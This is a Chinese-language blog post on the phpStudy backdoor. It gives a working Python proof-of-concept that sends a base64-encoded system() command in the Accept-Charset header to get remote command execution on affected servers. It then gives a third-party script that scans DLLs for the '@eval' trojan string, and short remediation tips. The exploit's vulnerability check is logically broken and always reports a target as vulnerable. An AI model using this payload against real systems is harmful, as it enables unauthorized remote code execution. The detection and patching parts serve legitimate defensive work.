phpstudy后门漏洞利用

0x00 前言

Phpstudy是国内的一款免费的PHP调试环境的程序集成包，其通过集成Apache、PHP、MySQL、phpMyAdmin不同版本软件于一身，一次性安装无需配置即可直接使用，具有PHP环境调试和PHP开发功能。对我这种小白来说简直就是一大神器，但就是这样一个伴随了我多达三年之久的神器，突然爆出被恶意植入远控后门，不多说，含泪测试一下自己。

0x01 后门利用

poc

# -*-coding:utf-8 -*-

import requests 
import sys 
import base64

def Poc(ip,cmd):
    cmd = 'system('+cmd+');'
    poc = base64.b64encode(cmd)
    print(poc)
    #poc = "c3lzdGVtKCdjYWxjLmV4ZScpOw=="
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Connection": "close",
    "Accept-Encoding": "gzip,deflate",
    "Accept-Charset": poc,
    "Upgrade-Insecure-Requests": "1",
    }
    url = ip
    r = requests.get(url,headers=headers)
    
    if "Administrator" or "DefaultAccount" or "Guest" "hello phpstudy"in r.text:
        print("[+] phpstudy is vuluable")
        print(r.text.encode("utf-8"))
    else:
        print("[-] phpstudy is safe")

if len(sys.argv) < 3:
    print("python phpstudy.py http://127.0.0.1 cmd")
else:
    Poc(sys.argv[1],sys.argv[2])

0x02 后门检测

附上pcat的一个检测脚本

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
__blog__='http://pcat.cc'

import os
import string
import re
import sys


def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
        return pattern.findall(f.read())


def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line


def pcheck(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):        
        lines=strings(filename)
        try:
            grep(lines,trojan).next()
        except:
            return
        print '=== {0} ==='.format(filename)
        for line in grep(lines,trojan):
            print line
    pass


def foo(php_path):
    # . stand for current directory
    for path, dirs, files in os.walk(php_path, topdown=False):
        for name in files:
            pcheck(os.path.join(path, name))
        for name in dirs:
            pcheck(os.path.join(path, name))
    pass


if __name__ == '__main__':
    if len(sys.argv) < 2:
        print "python check.py F:\phpstudy\PHPTutorial\php"
    else:
        foo(sys.argv[1])

0x03 修复建议

• 及时清除后门文件并作安全检查看是否被种下其他后门

• 更新至最新版本，毕竟phpstudy还是给我们带来了很多的便捷，不能因噎废食。